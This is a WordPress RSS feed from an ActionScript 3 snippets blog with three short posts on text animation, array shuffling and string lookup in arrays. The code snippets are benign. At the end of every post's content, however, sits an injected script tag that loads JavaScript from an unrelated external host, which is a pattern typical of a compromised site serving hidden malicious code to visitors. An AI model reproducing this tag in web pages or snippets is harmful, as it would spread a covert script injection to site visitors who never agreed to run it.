<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Official Design and Development Resource of ThornyRabbit &#187; Array</title>
	<atom:link href="http://blog.thornyrabbit.com/tag/array/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.thornyrabbit.com</link>
	<description>because we love</description>
	<lastBuildDate>Fri, 19 Mar 2010 16:55:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Animating Dynamic text onto the screen letter by letter</title>
		<link>http://blog.thornyrabbit.com/2009/04/animating-dynamic-text-onto-the-screen-letter-by-letter/</link>
		<comments>http://blog.thornyrabbit.com/2009/04/animating-dynamic-text-onto-the-screen-letter-by-letter/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:13:59 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Array]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[String]]></category>
		<category><![CDATA[Text]]></category>
		<category><![CDATA[Timer]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=201</guid>
		<description><![CDATA[Easy way to animate text with code. ]]></description>
			<content:encoded><![CDATA[<p>private function setInitialContentForCaseStudy():void{</p>
<p>more_mc.solution_txt.text = &#8220;&#8221;;//clear to start</p>
<p>solutionString = solutionsArray[0];</p>
<p>animationCounter = 0;</p>
<p>animationTimer = new Timer(100, 0); </p>
<p>animationTimer.addEventListener(TimerEvent.TIMER, animateContent);</p>
<p>animationTimer.start();</p>
<p>}//setInitialContentForCaseStudy</p>
<p><span> </span></p>
<p><span> </span></p>
<p>private function animateContent(event:TimerEvent):void{</p>
<p>more_mc.solution_txt.appendText(solutionString.charAt(animationCounter));</p>
<p>animationCounter++;</p>
<p>if(animationCounter == solutionString.length){</p>
<p>animationTimer.stop();</p>
<p>}//if</p>
<p>}//animateContent</p>
<p><strong>Beware of other stuff happening at same time or too much text &#8211; can be slow!</strong><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/04/animating-dynamic-text-onto-the-screen-letter-by-letter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Array &#8211; randomly re-arrange array</title>
		<link>http://blog.thornyrabbit.com/2009/03/array-randomly-re-arrange-array/</link>
		<comments>http://blog.thornyrabbit.com/2009/03/array-randomly-re-arrange-array/#comments</comments>
		<pubDate>Fri, 27 Mar 2009 23:04:29 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Array]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[random]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=100</guid>
		<description><![CDATA[Someone simplified code, found somewhere; sorry whoever: var arrayA:Array = new Array(&#8220;A&#8221;,&#8221;B&#8221;,&#8221;C&#8221;,&#8221;D&#8221;,&#8221;E&#8221;); //var randomPage:Number = Math.round(Math.random()*(arrayA.length-1)); //trace(arrayA[randomPage]); for(var i:Number = 0; i &#60; arrayA.length; i++){ arrayA.push(arrayA.splice(Math.floor(Math.random()*arrayA.length), 1)); } trace(arrayA);]]></description>
			<content:encoded><![CDATA[<p><strong>Someone simplified code, found somewhere; sorry whoever:</strong></p>
<p>var arrayA:Array = new Array(&#8220;A&#8221;,&#8221;B&#8221;,&#8221;C&#8221;,&#8221;D&#8221;,&#8221;E&#8221;);</p>
<p>//var randomPage:Number = Math.round(Math.random()*(arrayA.length-1));</p>
<p>//trace(arrayA[randomPage]);</p>
<p>for(var i:Number = 0; i &lt; arrayA.length; i++){</p>
<p>arrayA.push(arrayA.splice(Math.floor(Math.random()*arrayA.length), 1));</p>
<p>}</p>
<p>trace(arrayA);<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/03/array-randomly-re-arrange-array/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Arrays &#8211; Finding string information in arrays</title>
		<link>http://blog.thornyrabbit.com/2009/03/arrays-finding-string-information-in-arrays/</link>
		<comments>http://blog.thornyrabbit.com/2009/03/arrays-finding-string-information-in-arrays/#comments</comments>
		<pubDate>Fri, 27 Mar 2009 23:03:10 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Array]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[String]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=98</guid>
		<description><![CDATA[Find a string in an array.]]></description>
			<content:encoded><![CDATA[<p><strong>Find in array based on naming the sprite as per current array index value, such as &#8217;1_mc&#8217;:</strong></p>
<p>var nameString:String = event.target.parent.name;</p>
<p>nameString = nameString.slice(4); //depending on its name</p>
<p>var numberString:Number = parseInt(nameString);</p>
<p>tempCounter = numberString;//or value in array e.g. trace(imageBigArray[numberString]);</p>
<p>&#8212;&#8212;&#8212;&#8212;</p>
<p><strong>Better, if the name is not a number:</strong></p>
<p>var nameString:String = event.target.name;</p>
<p>for(var k:Number = 1; k &lt; servicesArray.length ; k++){ //ignore first one in this eg</p>
<p>if(servicesArray[k] == nameString){</p>
<p>more_mc.need_txt.text = needsArray[k];</p>
<p>}//if</p>
<p>}//for </p>
<p>&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Better yet, look for a string in the array:</strong></p>
<p>for (var i:Number = 0; i &lt; allVideoPaths.length ; i++){</p>
<p>if(jsParameterPassed == String(allVideoPaths[i])){ //where passed parameter could be &#8220;myvideo.flv&#8221;</p>
<p>videoURL = allVideoPaths[i];</p>
<p>}//if</p>
<p>}//for<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/03/arrays-finding-string-information-in-arrays/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
